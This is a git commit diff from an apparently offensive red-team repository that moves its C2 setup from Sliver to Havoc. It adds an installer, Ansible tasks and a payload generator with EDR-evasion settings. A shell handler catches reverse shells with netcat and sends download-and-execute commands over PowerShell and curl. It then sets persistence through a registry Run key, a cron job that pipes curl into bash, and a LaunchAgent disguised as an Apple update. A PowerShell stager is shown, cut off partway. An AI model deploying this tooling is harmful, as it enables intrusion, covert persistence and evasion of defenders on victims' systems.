Switching to Havoc C2

This commit is contained in:
n0mad1k
2025-04-21 16:57:37 -04:00
parent 30626a14bf
commit 9a0162e21f
8 changed files with 1355 additions and 106 deletions
+224
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@@ -0,0 +1,224 @@
#!/bin/bash
# Havoc C2 Framework installer with EDR evasion features
set -e
TEMP_DIR=$(mktemp -d)
LOG_FILE="/root/Tools/havoc_installer.log"
HAVOC_DIR="/root/Tools/havoc"
HAVOC_DATA_DIR="/root/Tools/havoc/data"
HAVOC_VERSION="0.5.0"
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
GO_VERSION="1.19"
# Function to log messages
log() {
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
}
# Function to generate random strings
random_string() {
local length=${1:-8}
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
}
# Install required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \
ninja-build python3-pip libfontconfig1 libglu1-mesa-dev libgtest-dev \
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
libqt5websockets5-dev >/dev/null 2>&1
# Setup Go environment
log "Setting up Go environment..."
mkdir -p /root/go
export GOPATH=/root/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
# Clone Havoc repository
log "Cloning Havoc repository..."
if [ -d "$HAVOC_DIR" ]; then
log "Havoc directory already exists, updating..."
cd $HAVOC_DIR
git pull
else
git clone --quiet $HAVOC_GITHUB $HAVOC_DIR
cd $HAVOC_DIR
fi
# Generate unique identifiers for EDR evasion
RANDOMIZED_BUILD_ID=$(random_string 16)
log "Using randomized build ID: $RANDOMIZED_BUILD_ID"
# Build Havoc teamserver
log "Building Havoc teamserver..."
cd $HAVOC_DIR/Teamserver
go mod download
sed -i "s/const Version = \".*\"/const Version = \"${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID}\"/" pkg/common/metadata.go
make
# Build Havoc client
log "Building Havoc client..."
cd $HAVOC_DIR/Client
mkdir -p build
cd build
cmake -GNinja ..
ninja
# Generate self-signed SSL certificates for Teamserver
mkdir -p $HAVOC_DATA_DIR/certs
cd $HAVOC_DATA_DIR/certs
if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then
log "Generating self-signed SSL certificates..."
# Generate random values for certificate
COUNTRY="US"
STATE=$(random_string 8)
LOCALITY=$(random_string 8)
ORGANIZATION=$(random_string 10)
COMMON_NAME=$(random_string 12).com
# Create OpenSSL config
cat > openssl.cnf << EOF
[req]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no
[req_distinguished_name]
C = $COUNTRY
ST = $STATE
L = $LOCALITY
O = $ORGANIZATION
CN = $COMMON_NAME
[v3_req]
keyUsage = critical, digitalSignature, keyAgreement
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
[alt_names]
DNS.1 = $COMMON_NAME
DNS.2 = localhost
EOF
# Generate certificate
openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf
chmod 600 havoc.key
chmod 644 havoc.crt
log "Generated SSL certificates with CN=$COMMON_NAME"
fi
# Create systemd service for Havoc Teamserver
log "Creating systemd service for Havoc Teamserver..."
cat > /etc/systemd/system/havoc.service << EOF
[Unit]
Description=Havoc C2 Teamserver
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=$HAVOC_DIR/Teamserver
ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
EOF
# Create default Havoc profile directory
mkdir -p $HAVOC_DATA_DIR/profiles
# Create default Havoc profile
log "Creating default Havoc profile..."
cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
admin {
Password = "$(random_string 12)"
}
}
Listeners {
http {
Name = "http"
KillDate = "2030-01-01"
WorkingHours = "0:00-23:59"
Hosts = ["0.0.0.0"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
Port = 8080
PortBind = 8080
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Headers = ["Accept: */*"]
Uris = ["/api/v1", "/dashboard"]
Secure = false
}
https {
Name = "https"
KillDate = "2030-01-01"
WorkingHours = "0:00-23:59"
Hosts = ["0.0.0.0"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
Port = 443
PortBind = 443
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Headers = ["Accept: */*"]
Uris = ["/api/v2", "/content"]
Secure = true
Cert = "$HAVOC_DATA_DIR/certs/havoc.crt"
Key = "$HAVOC_DATA_DIR/certs/havoc.key"
}
}
Demon {
Sleep = 2
SleepJitter = 50
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
EOF
# Set proper permissions
log "Setting proper permissions..."
chmod 755 $HAVOC_DIR/Teamserver/teamserver
chmod 755 $HAVOC_DIR/Client/havoc
# Create symlinks to executables in /usr/local/bin
ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client
# Enable and start Havoc service
log "Enabling and starting Havoc service..."
systemctl daemon-reload
systemctl enable havoc
systemctl start havoc
log "Havoc C2 installation completed!"
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#!/bin/bash
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
# Configuration
LISTEN_PORT=4444
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
HAVOC_PORT=40056 # Havoc default Teamserver port
HAVOC_USER="admin"
HAVOC_DIR="/root/Tools/havoc"
WINDOWS_PAYLOAD="windows/agent_win.exe"
LINUX_PAYLOAD="linux/agent_linux"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Get Havoc password
get_havoc_password() {
# Extract password from Havoc profile
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
echo $HAVOC_PASS
}
# Deploy appropriate Havoc agent based on OS
deploy_agent() {
local connection=$1
local os_type=$2
log "Deploying Havoc agent for detected OS: $os_type"
# Get the latest payload paths from manifest
local manifest="/root/Tools/havoc/payloads/manifest.json"
if [ -f "$manifest" ]; then
if [ "$os_type" == "windows" ]; then
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/$WIN_EXE"
elif [ "$os_type" == "linux" ]; then
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/$LINUX_BIN"
fi
else
# Use default paths if manifest doesn't exist
if [ "$os_type" == "windows" ]; then
PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/agent_win.exe"
elif [ "$os_type" == "linux" ]; then
PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/agent_linux"
fi
fi
case $os_type in
windows)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use PowerShell to download and execute
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
linux)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
macos)
# For macOS, we'll attempt to use the Linux payload
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
esac
log "Havoc agent deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy Havoc agent
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Havoc agent deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
+86 -106
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@@ -1,5 +1,5 @@
--- ---
# Common tasks for configuring C2 server with EDR evasion # Common tasks for configuring C2 server with Havoc C2 and EDR evasion
# Shared across all providers # Shared across all providers
- name: Update apt cache - name: Update apt cache
@@ -56,6 +56,30 @@
- dovecot-managesieved - dovecot-managesieved
- yq - yq
- build-essential - build-essential
# Additional Havoc C2 dependencies
- mingw-w64
- nasm
- cmake
- ninja-build
- libfontconfig1
- libglu1-mesa-dev
- libgtest-dev
- libspdlog-dev
- libboost-all-dev
- libncurses5-dev
- libgdbm-dev
- libssl-dev
- libreadline-dev
- libffi-dev
- libsqlite3-dev
- libbz2-dev
- mesa-common-dev
- qtbase5-dev
- qtchooser
- qt5-qmake
- qtbase5-dev-tools
- libqt5websockets5
- libqt5websockets5-dev
state: present state: present
- name: Create directories for operational scripts - name: Create directories for operational scripts
@@ -66,26 +90,27 @@
owner: root owner: root
group: root group: root
with_items: with_items:
- Tools - /root/Tools
- beacons - /root/Tools/beacons
- payloads - /root/Tools/payloads
- name: Copy operational scripts - name: Copy operational scripts
copy: copy:
src: "{{ item }}" src: "{{ item }}"
dest: "Tools/{{ item | basename }}" dest: "/root/Tools/{{ item | basename }}"
mode: '0700' mode: '0700'
owner: root owner: root
group: root group: root
with_items: with_items:
- ../files/clean-logs.sh - "../files/clean-logs.sh"
- ../files/secure-exit.sh - "../files/secure-exit.sh"
- ../files/sliver_randomizer.sh - "../files/havoc_installer.sh"
- "../files/havoc_shell_handler.sh"
- name: Copy post-install script - name: Copy post-install script
copy: copy:
src: "../files/post_install_c2.sh" src: "../files/post_install_c2.sh"
dest: "Tools/post_install_c2.sh" dest: "/root/Tools/post_install_c2.sh"
mode: '0700' mode: '0700'
owner: root owner: root
group: root group: root
@@ -93,7 +118,7 @@
- name: Copy port randomization script - name: Copy port randomization script
copy: copy:
src: "../files/randomize_ports.sh" src: "../files/randomize_ports.sh"
dest: "Tools/randomize_ports.sh" dest: "/root/Tools/randomize_ports.sh"
mode: '0700' mode: '0700'
owner: root owner: root
group: root group: root
@@ -106,7 +131,7 @@
================================================================ ================================================================
To complete your setup with SSL certificates, run: To complete your setup with SSL certificates, run:
Tools/post_install_c2.sh /root/Tools/post_install_c2.sh
This script will guide you through: This script will guide you through:
- Setting up Let's Encrypt certificates - Setting up Let's Encrypt certificates
@@ -115,7 +140,7 @@
- Displaying DNS configuration recommendations - Displaying DNS configuration recommendations
For enhanced OPSEC, you can also randomize ports: For enhanced OPSEC, you can also randomize ports:
Tools/randomize_ports.sh /root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server. Run these after you've configured your DNS records to point to this server.
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt" dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
@@ -123,10 +148,37 @@
owner: root owner: root
group: root group: root
- name: Create main beacon generation script - name: Remove any existing Sliver or Havoc
file:
path: "{{ item }}"
state: absent
with_items:
- "/usr/local/bin/sliver"
- "/usr/local/bin/sliver-server"
ignore_errors: yes
- name: Stop existing Sliver service if running
systemd:
name: sliver
state: stopped
enabled: no
ignore_errors: yes
- name: Install Havoc C2 Framework
shell: "/root/Tools/havoc_installer.sh"
args:
creates: "/root/Tools/havoc/Teamserver/teamserver"
register: havoc_installation_result
- name: Display Havoc installation output
debug:
var: havoc_installation_result.stdout_lines
when: havoc_installation_result.stdout_lines is defined
- name: Create Havoc payload generation script
template: template:
src: "../templates/generate_evasive_beacons.sh.j2" src: "../templates/generate_havoc_payloads.sh.j2"
dest: "Tools/generate_evasive_beacons.sh" dest: "/root/Tools/generate_havoc_payloads.sh"
mode: '0700' mode: '0700'
owner: root owner: root
group: root group: root
@@ -134,7 +186,7 @@
- name: Create Linux loader script template - name: Create Linux loader script template
template: template:
src: "../templates/linux_loader.sh.j2" src: "../templates/linux_loader.sh.j2"
dest: "Tools/linux_loader.template" dest: "/root/Tools/linux_loader.template"
mode: '0644' mode: '0644'
owner: root owner: root
group: root group: root
@@ -142,31 +194,15 @@
- name: Create Windows PowerShell loader template - name: Create Windows PowerShell loader template
template: template:
src: "../templates/windows_loader.ps1.j2" src: "../templates/windows_loader.ps1.j2"
dest: "Tools/windows_loader.template" dest: "/root/Tools/windows_loader.template"
mode: '0644'
owner: root
group: root
- name: Create manifest template
template:
src: "../templates/manifest.json.j2"
dest: "Tools/manifest.template"
mode: '0644'
owner: root
group: root
- name: Create reference file template
template:
src: "../templates/reference.txt.j2"
dest: "Tools/reference.template"
mode: '0644' mode: '0644'
owner: root owner: root
group: root group: root
- name: Create beacon server script from template - name: Create beacon server script from template
template: template:
src: "../templates/serve-beacons.sh.j2" src: "../templates/serve-havoc-payloads.sh.j2"
dest: "Tools/serve-beacons.sh" dest: "/root/Tools/serve-beacons.sh"
mode: '0700' mode: '0700'
owner: root owner: root
group: root group: root
@@ -175,91 +211,35 @@
domain: "{{ domain }}" domain: "{{ domain }}"
redirector_port: "{{ redirector_port | default('443') }}" redirector_port: "{{ redirector_port | default('443') }}"
- name: Remove standard Sliver if installed
apt:
name: sliver
state: absent
ignore_errors: yes
- name: Stop standard Sliver service if running
systemd:
name: sliver
state: stopped
enabled: no
ignore_errors: yes
- name: Run Sliver randomization for EDR evasion
shell: Tools/sliver_randomizer.sh
args:
creates: /usr/local/bin/sliver-server
register: randomization_result
- name: Display Sliver randomizer output
debug:
var: randomization_result.stdout_lines
when: randomization_result.stdout_lines is defined
- name: Create custom Sliver service file
template:
src: "../templates/sliver-server.service.j2"
dest: /etc/systemd/system/sliver.service
mode: '0644'
owner: root
group: root
- name: Enable and start custom Sliver service
systemd:
name: sliver
state: started
enabled: yes
daemon_reload: yes
- name: Wait for Sliver to initialize
pause:
seconds: 15
- name: Check if Sliver operator config exists
stat:
path: /root/admin.cfg
register: operator_config
- name: Create new operator if needed
shell: |
/usr/local/bin/sliver-server operator --name admin --lhost {{ ansible_host }} --save /root/admin.cfg
args:
creates: /root/admin.cfg
when: not operator_config.stat.exists
- name: Run port randomization if enabled - name: Run port randomization if enabled
include_tasks: port_randomization.yml include_tasks: port_randomization.yml
when: randomize_ports | default(false) | bool when: randomize_ports | default(false) | bool
- name: Generate beacons with redirector integration - name: Generate Havoc payloads
shell: | shell: "/root/Tools/generate_havoc_payloads.sh"
Tools/generate_evasive_beacons.sh
args: args:
creates: /root/beacons/reference.txt creates: "/root/Tools/havoc/payloads/manifest.json"
register: payload_generation_result
environment: environment:
PATH: "{{ ansible_env.PATH }}:/usr/local/bin" PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
ignore_errors: yes ignore_errors: yes
register: beacon_generation_result
- name: Display beacon generation output - name: Display payload generation output
debug: debug:
var: beacon_generation_result.stdout_lines var: payload_generation_result.stdout_lines
when: beacon_generation_result.stdout_lines is defined when: payload_generation_result.stdout_lines is defined
- name: Start beacon server - name: Start payload server
shell: | shell: |
nohup Tools/serve-beacons.sh > /dev/null 2>&1 & nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
args: args:
executable: /bin/bash executable: /bin/bash
register: beacon_server_result register: beacon_server_result
- name: Create NGINX configuration fragment for redirector - name: Create NGINX configuration fragment for redirector
template: template:
src: "../templates/redirector-sliver-fragment.j2" src: "../templates/redirector-havoc-fragment.j2"
dest: "Tools/redirector-config.conf" dest: "/root/Tools/redirector-config.conf"
mode: '0644' mode: '0644'
owner: root owner: root
group: root group: root
@@ -267,10 +247,10 @@
c2_ip: "{{ ansible_host }}" c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Create Sliver usage guide - name: Create Havoc usage guide
template: template:
src: "../templates/sliver-guide.j2" src: "../templates/havoc-guide.j2"
dest: "/root/sliver-guide.txt" dest: "/root/havoc-guide.txt"
mode: '0600' mode: '0600'
owner: root owner: root
group: root group: root
@@ -283,7 +263,7 @@
name: "Clean logs" name: "Clean logs"
minute: "0" minute: "0"
hour: "*/6" hour: "*/6"
job: "Tools/clean-logs.sh > /dev/null 2>&1" job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool when: zero_logs | bool
# Include integrated tracker tasks if requested # Include integrated tracker tasks if requested
+251
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@@ -0,0 +1,251 @@
---
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
# Shared across all providers
- name: Update apt cache
apt:
update_cache: yes
- name: Set a custom MOTD
template:
src: "../templates/motd-linode.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Install base utilities and tools via apt
apt:
name:
- git
- wget
- curl
- unzip
- python3-pip
- python3-venv
- tmux
- pipx
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
- proxychains
- tor
- crackmapexec
- jq
- build-essential
- zip
- unzip
- postfix
- certbot
- opendkim
- opendkim-tools
- dovecot-core
- dovecot-imapd
- dovecot-pop3d
- dovecot-sieve
- dovecot-managesieved
- yq
- build-essential
- mingw-w64
- nasm
- cmake
- ninja-build
- python3-pip
- libfontconfig1
- libglu1-mesa-dev
- libgtest-dev
- libspdlog-dev
- libboost-all-dev
- libncurses5-dev
- libgdbm-dev
- libssl-dev
- libreadline-dev
- libffi-dev
- libsqlite3-dev
- libbz2-dev
- mesa-common-dev
- qtbase5-dev
- qtchooser
- qt5-qmake
- qtbase5-dev-tools
- libqt5websockets5
- libqt5websockets5-dev
state: present
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/beacons
- /root/Tools/payloads
- name: Copy operational scripts
copy:
src: "{{ item }}"
dest: "/root/Tools/{{ item | basename }}"
mode: '0700'
owner: root
group: root
with_items:
- ../files/clean-logs.sh
- ../files/secure-exit.sh
- ../files/havoc_installer.sh
- name: Copy post-install script
copy:
src: "../files/post_install_c2.sh"
dest: "/root/Tools/post_install_c2.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create post-install instructions
copy:
content: |
================================================================
C2ingRed Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_c2.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Setting up the redirector (if desired)
- Displaying DNS configuration recommendations
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Install Havoc C2 Framework
shell: "/root/Tools/havoc_installer.sh"
args:
creates: /opt/havoc/Teamserver/teamserver
register: havoc_installation_result
- name: Display Havoc installation output
debug:
var: havoc_installation_result.stdout_lines
when: havoc_installation_result.stdout_lines is defined
- name: Create Havoc payload generation script
template:
src: "../templates/generate_havoc_payloads.sh.j2"
dest: "/root/Tools/generate_havoc_payloads.sh"
mode: '0700'
owner: root
group: root
- name: Create Linux loader script template
template:
src: "../templates/linux_loader.sh.j2"
dest: "/root/Tools/linux_loader.template"
mode: '0644'
owner: root
group: root
- name: Create Windows PowerShell loader template
template:
src: "../templates/windows_loader.ps1.j2"
dest: "/root/Tools/windows_loader.template"
mode: '0644'
owner: root
group: root
- name: Create beacon server script from template
template:
src: "../templates/serve-havoc-payloads.sh.j2"
dest: "/root/Tools/serve-beacons.sh"
mode: '0700'
owner: root
group: root
vars:
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
domain: "{{ domain }}"
redirector_port: "{{ redirector_port | default('443') }}"
- name: Generate Havoc payloads
shell: "/root/Tools/generate_havoc_payloads.sh"
args:
creates: /opt/havoc/payloads/manifest.json
register: payload_generation_result
environment:
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
ignore_errors: yes
- name: Display payload generation output
debug:
var: payload_generation_result.stdout_lines
when: payload_generation_result.stdout_lines is defined
- name: Start payload server
shell: |
nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
args:
executable: /bin/bash
register: beacon_server_result
- name: Create NGINX configuration fragment for redirector
template:
src: "../templates/redirector-havoc-fragment.j2"
dest: "/root/Tools/redirector-config.conf"
mode: '0644'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Create Havoc usage guide
template:
src: "../templates/havoc-guide.j2"
dest: "/root/havoc-guide.txt"
mode: '0600'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool
# Include integrated tracker tasks if requested
- name: Include integrated tracker setup
include_tasks: "configure_integrated_tracker.yml"
when: setup_integrated_tracker | default(false) | bool
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#!/bin/bash
# EDR-evasive payload generator for Havoc C2
# Configuration (automatically populated by Ansible)
PAYLOADS_DIR="/root/Tools/havoc/payloads"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Define Havoc profiles for different payloads
generate_profiles() {
echo "[+] Generating Havoc C2 profiles..."
# Profile for Windows EXE
cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": 0,
"ExecutionMethod": 0,
"ExecuteOptions": 0
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
# Profile for Linux ELF
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"Injection": {
"SpawnMethod": 1,
"AllocationMethod": 1
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
echo "[+] Profiles created successfully"
}
# Generate Havoc payloads with CLI arguments
generate_payloads() {
echo "[+] Generating Havoc payloads..."
# Windows EXE
win_output="agent_win_$(random_string 8).exe"
echo "[+] Generating Windows payload: $win_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format exe \
--output "$PAYLOADS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Windows DLL
dll_output="module_$(random_string 8).dll"
echo "[+] Generating Windows DLL: $dll_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format dll \
--output "$PAYLOADS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Linux ELF
linux_output="agent_linux_$(random_string 8)"
echo "[+] Generating Linux payload: $linux_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/linux_elf.profile" \
--format elf \
--output "$PAYLOADS_DIR/linux/$linux_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload names for reference
echo "$win_output:$dll_output:$linux_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating stagers..."
# PowerShell stager
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
\$wc.DownloadFile(\$url, \$outpath)
